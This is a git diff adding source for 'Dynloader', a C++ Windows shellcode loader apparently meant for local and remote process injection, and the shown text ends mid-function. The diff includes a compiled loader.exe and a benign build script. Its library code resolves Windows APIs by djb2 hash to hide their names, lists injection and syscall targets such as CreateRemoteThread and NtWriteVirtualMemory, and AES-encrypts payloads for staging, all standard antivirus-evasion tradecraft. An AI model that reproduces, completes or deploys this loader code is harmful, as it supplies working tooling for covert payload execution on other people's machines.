diff --git a/README.md b/README.md index 7ba3911..88f259a 100644 --- a/README.md +++ b/README.md @@ -2,13 +2,13 @@ **Modular Windows loader using C++** -For Workaround Check -> **[Building](#Building)**, **[usage](#usage)** and **[testing / demo](#demo)**. +For **[usage](#usage)** and **[testing / demo](#demo)**. --- ## Overview -**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts, the currect verison support only shellcode staging, Planned more implementation -> check out **[Planned features](#Planned-features)**. +**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**. It can: @@ -217,7 +217,7 @@ Writes `.enc` + `.key` next to the input for lab packaging. --- -## Planned-features +## Planned features - **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`) - **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs diff --git a/Release/loader.exe b/Release/loader.exe new file mode 100644 index 0000000..6cdded9 Binary files /dev/null and b/Release/loader.exe differ diff --git a/build.bat b/build.bat new file mode 100644 index 0000000..5d3d13b --- /dev/null +++ b/build.bat @@ -0,0 +1,291 @@ +@echo off +setlocal EnableExtensions EnableDelayedExpansion + +:: ============================================================================= +:: build.bat — portable build for loader (Release|x64 by default) +:: +:: Usage: +:: build.bat Build Release x64 +:: build.bat debug Build Debug x64 +:: build.bat clean Clean intermediate + output +:: build.bat --install If no MSVC found, install VS Build Tools (minimal) +:: build.bat --install debug Install tools then Debug build +:: +:: What it needs (auto if --install): +:: - Visual Studio 2019/2022/18 Build Tools OR full VS +:: workload: Desktop development with C++ (VCTools) +:: - Windows 10/11 SDK (pulled with workload) +:: +:: True zero-install is not possible: MSVC is ~1–3 GB. This script only +:: downloads the official Build Tools bootstrapper when you pass --install. +:: +:: Runtime: project links STATIC CRT (/MT Release, /MTd Debug) so loader.exe +:: does NOT need vcruntime140.dll / msvcp140.dll next to it on target PCs. +:: Prefer: build.bat (Release) for drop-and-run lab use. +:: ============================================================================= + +cd /d "%~dp0" +set "ROOT=%CD%" +set "SLN=%ROOT%\loader.sln" +set "CONFIG=Release" +set "PLATFORM=x64" +set "DO_INSTALL=0" +set "DO_CLEAN=0" +set "MSBUILD=" +set "VSWHERE=" +set "TOOLSET=" +set "VSINSTALL=" +set "VCVARS=" + +for %%A in (%*) do ( + if /I "%%~A"=="--install" set "DO_INSTALL=1" + if /I "%%~A"=="/install" set "DO_INSTALL=1" + if /I "%%~A"=="install" set "DO_INSTALL=1" + if /I "%%~A"=="debug" set "CONFIG=Debug" + if /I "%%~A"=="Debug" set "CONFIG=Debug" + if /I "%%~A"=="release" set "CONFIG=Release" + if /I "%%~A"=="Release" set "CONFIG=Release" + if /I "%%~A"=="clean" set "DO_CLEAN=1" + if /I "%%~A"=="Clean" set "DO_CLEAN=1" +) + +if not exist "%SLN%" ( + echo [x] loader.sln not found in "%ROOT%" + exit /b 1 +) + +echo. +echo ============================================ +echo loader build ^| %CONFIG%^|%PLATFORM% +echo ============================================ +echo. + +call :FindVsWhere +call :FindMsBuild +if defined MSBUILD goto :HaveToolchain + +if "%DO_INSTALL%"=="1" ( + call :InstallBuildTools + call :FindVsWhere + call :FindMsBuild +) + +if not defined MSBUILD ( + echo [x] MSBuild / C++ toolset not found. + echo. + echo Install options: + echo 1^) Re-run: build.bat --install + echo ^(downloads VS Build Tools + C++ workload, needs admin + internet^) + echo 2^) Manual: https://visualstudio.microsoft.com/visual-cpp-build-tools/ + echo Select "Desktop development with C++" + echo. + exit /b 1 +) + +:HaveToolchain +call :DetectToolset +echo [+] MSBuild : %MSBUILD% +if defined TOOLSET ( + echo [+] Toolset: %TOOLSET% +) else ( + echo [!] Toolset: ^(project default / auto^) +) +echo [+] Config : %CONFIG%^|%PLATFORM% +echo. + +if "%DO_CLEAN%"=="1" ( + echo [*] Cleaning... + "%MSBUILD%" "%SLN%" /t:Clean /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /m /nologo /v:minimal + if errorlevel 1 exit /b 1 + echo [+] Clean done. + exit /b 0 +) + +set "EXTRA_PROPS=" +if defined TOOLSET set "EXTRA_PROPS=/p:PlatformToolset=%TOOLSET%" + +echo [*] Building... +"%MSBUILD%" "%SLN%" /t:Build /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% %EXTRA_PROPS% /m /nologo /v:minimal +if errorlevel 1 ( + echo. + echo [x] Build FAILED. + echo If the exe is locked: close loader.exe and rebuild. + echo If toolset missing: build.bat --install + exit /b 1 +) + +set "OUT=%ROOT%\x64\%CONFIG%\loader.exe" +if exist "%OUT%" ( + echo. + echo [+] SUCCESS + echo [+] Output: %OUT% + for %%F in ("%OUT%") do echo [+] Size : %%~zF bytes +) else ( + echo. + echo [!] Build reported success but "%OUT%" not found. + echo Check loader\x64\%CONFIG%\ or project OutDir. +) + +echo. +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Find vswhere.exe (ships with VS Installer) +:: --------------------------------------------------------------------------- +:FindVsWhere +set "VSWHERE=" +if exist "%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" ( + set "VSWHERE=%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" + exit /b 0 +) +if exist "%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" ( + set "VSWHERE=%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" +) +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Locate MSBuild that can build C++ (prefers latest with VC tools) +:: --------------------------------------------------------------------------- +:FindMsBuild +set "MSBUILD=" +set "VSINSTALL=" + +if defined VSWHERE ( + :: Prefer install with Microsoft.VisualStudio.Component.VC.Tools.x86.x64 + for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do ( + set "VSINSTALL=%%I" + ) + if not defined VSINSTALL ( + for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.Component.MSBuild -property installationPath 2^>nul`) do ( + set "VSINSTALL=%%I" + ) + ) +) + +if defined VSINSTALL ( + if exist "!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" ( + set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" + exit /b 0 + ) + if exist "!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" ( + set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" + exit /b 0 + ) +) + +:: Fallback: common fixed paths (VS 18 / 2022 / 2019 Build Tools + Community) +for %%P in ( + "%ProgramFiles%\Microsoft Visual Studio\18\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\18\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\18\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles(x86)%\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe" + "%ProgramFiles(x86)%\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe" +) do ( + if exist %%~P ( + set "MSBUILD=%%~P" + exit /b 0 + ) +) + +:: PATH +where msbuild.exe >nul 2>&1 +if not errorlevel 1 ( + for /f "delims=" %%I in ('where msbuild.exe') do ( + set "MSBUILD=%%I" + exit /b 0 + ) +) +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Pick PlatformToolset matching installed VS (project file says v145) +:: --------------------------------------------------------------------------- +:DetectToolset +set "TOOLSET=" + +:: Map VS major version from vswhere when possible +if defined VSWHERE ( + for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationVersion 2^>nul`) do ( + set "VSVER=%%I" + ) + if defined VSVER ( + for /f "tokens=1 delims=." %%M in ("!VSVER!") do set "VSMAJOR=%%M" + if "!VSMAJOR!"=="18" set "TOOLSET=v145" + if "!VSMAJOR!"=="17" set "TOOLSET=v143" + if "!VSMAJOR!"=="16" set "TOOLSET=v142" + if defined TOOLSET exit /b 0 + ) +) + +:: Fallback: MSVC folder names under the install +if defined VSINSTALL if exist "!VSINSTALL!\VC\Tools\MSVC" ( + for /f "delims=" %%V in ('dir /b /ad /o-n "!VSINSTALL!\VC\Tools\MSVC" 2^>nul') do ( + set "VER=%%V" + set "MAJ=!VER:~0,4!" + if "!MAJ!"=="14.5" ( set "TOOLSET=v145" & exit /b 0 ) + if "!MAJ!"=="14.4" ( set "TOOLSET=v143" & exit /b 0 ) + if "!MAJ!"=="14.3" ( set "TOOLSET=v143" & exit /b 0 ) + if "!MAJ!"=="14.2" ( set "TOOLSET=v142" & exit /b 0 ) + ) +) + +:: Last resort: leave empty so .vcxproj PlatformToolset is used +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Download + install minimal VS Build Tools (C++ desktop workload) +:: --------------------------------------------------------------------------- +:InstallBuildTools +echo. +echo [!] No C++ toolchain found. Installing Visual Studio Build Tools... +echo Workload: Desktop development with C++ (VCTools) +echo This needs Administrator rights and internet. Size ~1.5–3 GB. +echo. + +:: Prefer winget if present (cleanest) +where winget.exe >nul 2>&1 +if not errorlevel 1 ( + echo [*] Trying winget install of VS 2022 Build Tools... + winget install -e --id Microsoft.VisualStudio.2022.BuildTools --accept-package-agreements --accept-source-agreements --override "--wait --passive --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --add Microsoft.VisualStudio.Component.Windows11SDK.22621" + if not errorlevel 1 ( + echo [+] winget install finished. + exit /b 0 + ) + echo [!] winget install failed or cancelled — falling back to bootstrapper. +) + +set "BT_DIR=%ROOT%\.build-tools" +set "BT_EXE=%BT_DIR%\vs_BuildTools.exe" +if not exist "%BT_DIR%" mkdir "%BT_DIR%" + +if not exist "%BT_EXE%" ( + echo [*] Downloading VS Build Tools bootstrapper... + :: Official ever-green bootstrapper (VS 2022 Build Tools) + powershell -NoProfile -ExecutionPolicy Bypass -Command ^ + "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vs_BuildTools.exe' -OutFile '%BT_EXE%' -UseBasicParsing } catch { Write-Error $_; exit 1 }" + if errorlevel 1 ( + echo [x] Download failed. + exit /b 1 + ) +) + +echo [*] Running installer (passive). Approve UAC if prompted... +"%BT_EXE%" --wait --passive --norestart ^ + --add Microsoft.VisualStudio.Workload.VCTools ^ + --includeRecommended ^ + --add Microsoft.VisualStudio.Component.Windows11SDK.22621 + +if errorlevel 1 ( + echo [x] Build Tools install failed (exit %ERRORLEVEL%). + echo Run this .bat as Administrator, or install manually: + echo https://visualstudio.microsoft.com/visual-cpp-build-tools/ + exit /b 1 +) + +echo [+] Build Tools install finished. +exit /b 0 diff --git a/lib/common/hashes.hpp b/lib/common/hashes.hpp new file mode 100644 index 0000000..3b60e6a --- /dev/null +++ b/lib/common/hashes.hpp @@ -0,0 +1,87 @@ +#pragma once + +#include + +// djb2 — compile-time and runtime hash for module/export resolution. +// No plaintext API names required at call sites; only DWORD constants. +namespace Hashes { + +constexpr std::uint32_t kSeed = 5381u; + +constexpr std::uint32_t Djb2(const char* s) { + std::uint32_t h = kSeed; + while (*s) { + h = (h * 33u) + static_cast(*s++); + } + return h; +} + +constexpr std::uint32_t Djb2Lower(const char* s) { + std::uint32_t h = kSeed; + while (*s) { + char c = *s++; + if (c >= 'A' && c <= 'Z') { + c = static_cast(c + 32); + } + h = (h * 33u) + static_cast(c); + } + return h; +} + +// --- Module hashes (lowercase basename) --- +constexpr std::uint32_t H_NTDLL_DLL = Djb2Lower("ntdll.dll"); +constexpr std::uint32_t H_KERNEL32_DLL = Djb2Lower("kernel32.dll"); +constexpr std::uint32_t H_LoadLibraryW = Djb2("LoadLibraryW"); +constexpr std::uint32_t H_CreateThread = 0x7F08F451u; // api_hash verified +constexpr std::uint32_t H_WaitForSingleObject = Djb2("WaitForSingleObject"); +constexpr std::uint32_t H_CloseHandle = Djb2("CloseHandle"); +constexpr std::uint32_t H_CreateProcessW = Djb2("CreateProcessW"); +constexpr std::uint32_t H_CreateRemoteThread = Djb2("CreateRemoteThread"); +constexpr std::uint32_t H_ResumeThread = Djb2("ResumeThread"); +constexpr std::uint32_t H_SearchPathW = Djb2("SearchPathW"); +constexpr std::uint32_t H_OpenProcess = Djb2("OpenProcess"); +constexpr std::uint32_t H_WS2_32_DLL = Djb2Lower("ws2_32.dll"); +constexpr std::uint32_t H_BCRYPT_DLL = Djb2Lower("bcrypt.dll"); + +// --- NT exports (syscall targets) --- +constexpr std::uint32_t H_NtAllocateVirtualMemory = Djb2("NtAllocateVirtualMemory"); +constexpr std::uint32_t H_NtProtectVirtualMemory = Djb2("NtProtectVirtualMemory"); +constexpr std::uint32_t H_NtWriteVirtualMemory = Djb2("NtWriteVirtualMemory"); +constexpr std::uint32_t H_NtFreeVirtualMemory = Djb2("NtFreeVirtualMemory"); +constexpr std::uint32_t H_NtCreateSection = Djb2("NtCreateSection"); +constexpr std::uint32_t H_NtMapViewOfSection = Djb2("NtMapViewOfSection"); +constexpr std::uint32_t H_NtUnmapViewOfSection = Djb2("NtUnmapViewOfSection"); +constexpr std::uint32_t H_NtOpenProcess = Djb2("NtOpenProcess"); +constexpr std::uint32_t H_NtCreateThreadEx = Djb2("NtCreateThreadEx"); +constexpr std::uint32_t H_NtClose = Djb2("NtClose"); +constexpr std::uint32_t H_NtQuerySystemInformation = Djb2("NtQuerySystemInformation"); +constexpr std::uint32_t H_NtCreateFile = Djb2("NtCreateFile"); +constexpr std::uint32_t H_NtReadFile = Djb2("NtReadFile"); +constexpr std::uint32_t H_NtQueryInformationProcess = Djb2("NtQueryInformationProcess"); + +// --- BCrypt (AES) — runtime-verified on MSVC x64 --- +constexpr std::uint32_t H_BCryptOpenAlgorithmProvider = 0x2A15DFDDu; +constexpr std::uint32_t H_BCryptCloseAlgorithmProvider = 0xFCD0CDC1u; +constexpr std::uint32_t H_BCryptGenerateSymmetricKey = 0xA81D472Au; +constexpr std::uint32_t H_BCryptDestroyKey = 0x7B16C8CCu; +constexpr std::uint32_t H_BCryptEncrypt = 0xCB04529Eu; +constexpr std::uint32_t H_BCryptDecrypt = 0x690BA834u; +constexpr std::uint32_t H_BCryptSetProperty = 0xE9049EEAu; +constexpr std::uint32_t H_BCryptGenRandom = 0x3A73C634u; + +// --- Winsock (HTTP client/server) --- +constexpr std::uint32_t H_WSAStartup = Djb2("WSAStartup"); +constexpr std::uint32_t H_WSACleanup = Djb2("WSACleanup"); +constexpr std::uint32_t H_socket = Djb2("socket"); +constexpr std::uint32_t H_connect = Djb2("connect"); +constexpr std::uint32_t H_send = Djb2("send"); +constexpr std::uint32_t H_recv = Djb2("recv"); +constexpr std::uint32_t H_closesocket = Djb2("closesocket"); +constexpr std::uint32_t H_bind = Djb2("bind"); +constexpr std::uint32_t H_listen = Djb2("listen"); +constexpr std::uint32_t H_accept = Djb2("accept"); +constexpr std::uint32_t H_getaddrinfo = Djb2("getaddrinfo"); +constexpr std::uint32_t H_freeaddrinfo = Djb2("freeaddrinfo"); +constexpr std::uint32_t H_setsockopt = Djb2("setsockopt"); + +} // namespace Hashes \ No newline at end of file diff --git a/lib/common/log.cpp b/lib/common/log.cpp new file mode 100644 index 0000000..2b52cd7 --- /dev/null +++ b/lib/common/log.cpp @@ -0,0 +1,141 @@ +#include "log.hpp" + +#include + +namespace Log { + +namespace { + bool g_verbose = false; + bool g_serverVerbose = false; + + void VPrint(const char* prefix, const char* fmt, va_list args) { + std::fprintf(stdout, "%s ", prefix); + std::vfprintf(stdout, fmt, args); + std::fprintf(stdout, "\n"); + std::fflush(stdout); + } + + void VPrintIf(bool enabled, const char* prefix, const char* fmt, va_list args) { + if (!enabled) { + return; + } + VPrint(prefix, fmt, args); + } +} // namespace + +void SetVerbose(bool enabled) { + g_verbose = enabled; +} + +void SetServerVerbose(bool enabled) { + g_serverVerbose = enabled; +} + +bool IsVerbose() { + return g_verbose; +} + +bool IsServerVerbose() { + return g_serverVerbose; +} + +void Ok(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrint("[+]", fmt, args); + va_end(args); +} + +void Warn(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrint("[!]", fmt, args); + va_end(args); +} + +void Err(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrint("[x]", fmt, args); + va_end(args); +} + +void Info(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[*]", fmt, args); + va_end(args); +} + +void Dbg(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[-]", fmt, args); + va_end(args); +} + +void Sys(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[@]", fmt, args); + va_end(args); +} + +void Raw(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[@]", fmt, args); + va_end(args); +} + +void Banner(const char* title) { + if (!g_verbose) { + return; + } + std::fprintf(stdout, "\n[@] === %s ===\n", title); + std::fflush(stdout); +} + +void NtStatus(const char* tag, long status) { + if (!g_verbose) { + return; + } + std::fprintf(stdout, "[@] %s NTSTATUS=0x%08lX (%s)\n", tag, + static_cast(status), + status >= 0 ? "SUCCESS" : "FAIL"); + std::fflush(stdout); +} + +void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes) { + if (!g_verbose || !data || len == 0) { + return; + } + const auto* p = static_cast(data); + const size_t n = len < maxBytes ? len : maxBytes; + std::fprintf(stdout, "[@] %s hex[%zu/%zu]: ", tag, n, len); + for (size_t i = 0; i < n; ++i) { + std::fprintf(stdout, "%02X ", p[i]); + } + if (len > maxBytes) { + std::fprintf(stdout, "..."); + } + std::fprintf(stdout, "\n"); + std::fflush(stdout); +} + +void Srv(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_serverVerbose, "[S]", fmt, args); + va_end(args); +} + +void SrvBanner(const char* title) { + if (!g_serverVerbose) { + return; + } + std::fprintf(stdout, "\n[S] === %s ===\n", title); + std::fflush(stdout); +} + +} // namespace Log diff --git a/lib/common/log.hpp b/lib/common/log.hpp new file mode 100644 index 0000000..0511a5f --- /dev/null +++ b/lib/common/log.hpp @@ -0,0 +1,34 @@ +#pragma once + +#include +#include +#include + +namespace Log { + +// Two independent channels so --server --verbose does not dump loader/syscall noise, +// and loader --verbose does not spam server request logs. +void SetVerbose(bool enabled); // loader / injection / syscall path +void SetServerVerbose(bool enabled); // HTTP fileless server path only +bool IsVerbose(); +bool IsServerVerbose(); + +// Always shown (normal + verbose) +void Ok(const char* fmt, ...); // [+] essential success +void Warn(const char* fmt, ...); // [!] warning +void Err(const char* fmt, ...); // [x] error + +// Loader verbose only (--verbose on normal/fileless/enc) +void Info(const char* fmt, ...); // [*] step info +void Dbg(const char* fmt, ...); // [-] debug detail +void Sys(const char* fmt, ...); // [@] syscall / internals +void Raw(const char* fmt, ...); // [@] bare unstructured dump +void Banner(const char* title); // [@] section header +void NtStatus(const char* tag, long status); +void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes = 64); + +// Server verbose only (--server ... --verbose) +void Srv(const char* fmt, ...); // [S] server step / request +void SrvBanner(const char* title); // [S] server section header + +} // namespace Log diff --git a/lib/common/nt_types.hpp b/lib/common/nt_types.hpp new file mode 100644 index 0000000..6745929 --- /dev/null +++ b/lib/common/nt_types.hpp @@ -0,0 +1,110 @@ +#pragma once + +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +using NTSTATUS = LONG; + +// Additional NT constants not always in winternl.h +#ifndef SEC_COMMIT +#define SEC_COMMIT 0x08000000 +#endif + +#ifndef ViewShare +#define ViewShare 1 +#endif + +#ifndef ViewUnmap +#define ViewUnmap 2 +#endif + +#ifndef SystemProcessInformation +#define SystemProcessInformation 5 +#endif + +#ifndef PROCESS_ALL_ACCESS +#define PROCESS_ALL_ACCESS 0x001FFFFF +#endif + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_CASE_INSENSITIVE 0x00000040L +#endif + +typedef struct _UNICODE_STRING_NT { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING_NT, *PUNICODE_STRING_NT; + +typedef struct _OBJECT_ATTRIBUTES_NT { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING_NT ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES_NT, *POBJECT_ATTRIBUTES_NT; + +typedef struct _CLIENT_ID_NT { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID_NT, *PCLIENT_ID_NT; + +typedef struct _IO_STATUS_BLOCK_NT { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK_NT, *PIO_STATUS_BLOCK_NT; + +// Process enumeration (SystemProcessInformation) +typedef struct _SYSTEM_PROCESS_INFORMATION_NT { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER Reserved[3]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING_NT ImageName; + LONG BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PagefileUsage; + ULONG_PTR PeakPagefileUsage; + ULONG_PTR WorkingSetSize; + ULONG_PTR PeakWorkingSetSize; + ULONG_PTR QuotaPagedPoolUsage; + ULONG_PTR QuotaPeakPagedPoolUsage; + ULONG_PTR QuotaNonPagedPoolUsage; + ULONG_PTR QuotaPeakNonPagedPoolUsage; + ULONG_PTR PagefileUsage2; + ULONG_PTR PeakPagefileUsage2; + ULONG_PTR PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION_NT, *PSYSTEM_PROCESS_INFORMATION_NT; + +inline void InitObjectAttributes( + POBJECT_ATTRIBUTES_NT p, + PUNICODE_STRING_NT name, + ULONG attributes, + HANDLE root, + PVOID security) +{ + p->Length = sizeof(OBJECT_ATTRIBUTES_NT); + p->RootDirectory = root; + p->Attributes = attributes; + p->ObjectName = name; + p->SecurityDescriptor = security; + p->SecurityQualityOfService = nullptr; +} \ No newline at end of file diff --git a/lib/crypto/aes_crypto.cpp b/lib/crypto/aes_crypto.cpp new file mode 100644 index 0000000..b364e05 --- /dev/null +++ b/lib/crypto/aes_crypto.cpp @@ -0,0 +1,312 @@ +#include "aes_crypto.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" +#include "../common/nt_types.hpp" +#include "../common/log.hpp" + +#include +#include +#include + +namespace AesCrypto { + +namespace { + +using BCryptOpenAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG); +using BCryptCloseAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, ULONG); +using BCryptGenerateSymmetricKey_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG); +using BCryptDestroyKey_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE); +using BCryptEncrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG); +using BCryptDecrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG); +using BCryptSetProperty_t = NTSTATUS(WINAPI*)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG); +using BCryptGenRandom_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG); + +struct BcryptApi { + BCryptOpenAlgorithmProvider_t Open = nullptr; + BCryptCloseAlgorithmProvider_t Close = nullptr; + BCryptGenerateSymmetricKey_t GenKey = nullptr; + BCryptDestroyKey_t DestroyKey = nullptr; + BCryptEncrypt_t Encrypt = nullptr; + BCryptDecrypt_t Decrypt = nullptr; + BCryptSetProperty_t SetProperty = nullptr; + BCryptGenRandom_t GenRandom = nullptr; + bool loaded = false; +}; + +bool LoadBcrypt(BcryptApi& api) { + if (api.loaded) { + return true; + } + + api.Open = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptOpenAlgorithmProvider)); + api.Close = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptCloseAlgorithmProvider)); + api.GenKey = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenerateSymmetricKey)); + api.DestroyKey = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptDestroyKey)); + api.Encrypt = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptEncrypt)); + api.Decrypt = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptDecrypt)); + api.SetProperty = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptSetProperty)); + + // BCryptGenRandom is in bcrypt.dll but not in our hash table — resolve by adding hash + api.GenRandom = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenRandom)); + + api.loaded = api.Open && api.Close && api.GenKey && api.DestroyKey && + api.Encrypt && api.Decrypt && api.SetProperty && api.GenRandom; + return api.loaded; +} + +} // namespace + +bool GenerateKeyMaterial(KeyMaterial& out) { + Log::Dbg("AES: GenerateKeyMaterial (BCryptGenRandom system RNG)"); + BcryptApi api{}; + if (!LoadBcrypt(api)) { + Log::Dbg("AES: bcrypt API resolve failed"); + return false; + } + + out.key.resize(32); + out.iv.resize(16); + + // BCryptGenRandom with NULL handle requires BCRYPT_USE_SYSTEM_PREFERRED_RNG on Win8+. + constexpr ULONG kSystemRng = 0x00000002; + if (!NT_SUCCESS(api.GenRandom(nullptr, out.key.data(), static_cast(out.key.size()), kSystemRng)) || + !NT_SUCCESS(api.GenRandom(nullptr, out.iv.data(), static_cast(out.iv.size()), kSystemRng))) { + Log::Dbg("AES: GenRandom failed"); + return false; + } + Log::Dbg("AES: key=%zu bytes iv=%zu bytes", out.key.size(), out.iv.size()); + return true; +} + +bool Encrypt(const std::vector& plaintext, const KeyMaterial& km, std::vector& ciphertext) { + Log::Dbg("AES Encrypt: plain=%zu key=%zu iv=%zu mode=AES-256-CBC", + plaintext.size(), km.key.size(), km.iv.size()); + if (km.key.size() != 32 || km.iv.size() != 16 || plaintext.empty()) { + Log::Dbg("AES Encrypt: bad args"); + return false; + } + + BcryptApi api{}; + if (!LoadBcrypt(api)) { + Log::Dbg("AES Encrypt: bcrypt API resolve failed"); + return false; + } + + BCRYPT_ALG_HANDLE hAlg = nullptr; + if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) { + return false; + } + + api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + + BCRYPT_KEY_HANDLE hKey = nullptr; + if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0, + const_cast(km.key.data()), static_cast(km.key.size()), 0))) { + api.Close(hAlg, 0); + return false; + } + + std::vector ivWork = km.iv; + + ULONG cipherLen = 0; + api.Encrypt(hKey, const_cast(plaintext.data()), static_cast(plaintext.size()), + nullptr, ivWork.data(), static_cast(ivWork.size()), + nullptr, 0, &cipherLen, BCRYPT_BLOCK_PADDING); + + ciphertext.resize(cipherLen); + ULONG written = 0; + NTSTATUS st = api.Encrypt( + hKey, + const_cast(plaintext.data()), static_cast(plaintext.size()), + nullptr, + ivWork.data(), static_cast(ivWork.size()), + ciphertext.data(), static_cast(ciphertext.size()), + &written, BCRYPT_BLOCK_PADDING); + + api.DestroyKey(hKey); + api.Close(hAlg, 0); + + if (!NT_SUCCESS(st)) { + Log::Dbg("AES Encrypt: BCryptEncrypt failed NTSTATUS=0x%08lX", + static_cast(st)); + return false; + } + ciphertext.resize(written); + Log::Dbg("AES Encrypt OK: cipher=%zu bytes", ciphertext.size()); + return true; +} + +bool Decrypt(const std::vector& ciphertext, const KeyMaterial& km, std::vector& plaintext) { + Log::Dbg("AES Decrypt: cipher=%zu key=%zu iv=%zu mode=AES-256-CBC", + ciphertext.size(), km.key.size(), km.iv.size()); + if (km.key.size() != 32 || km.iv.size() != 16 || ciphertext.empty()) { + Log::Dbg("AES Decrypt: 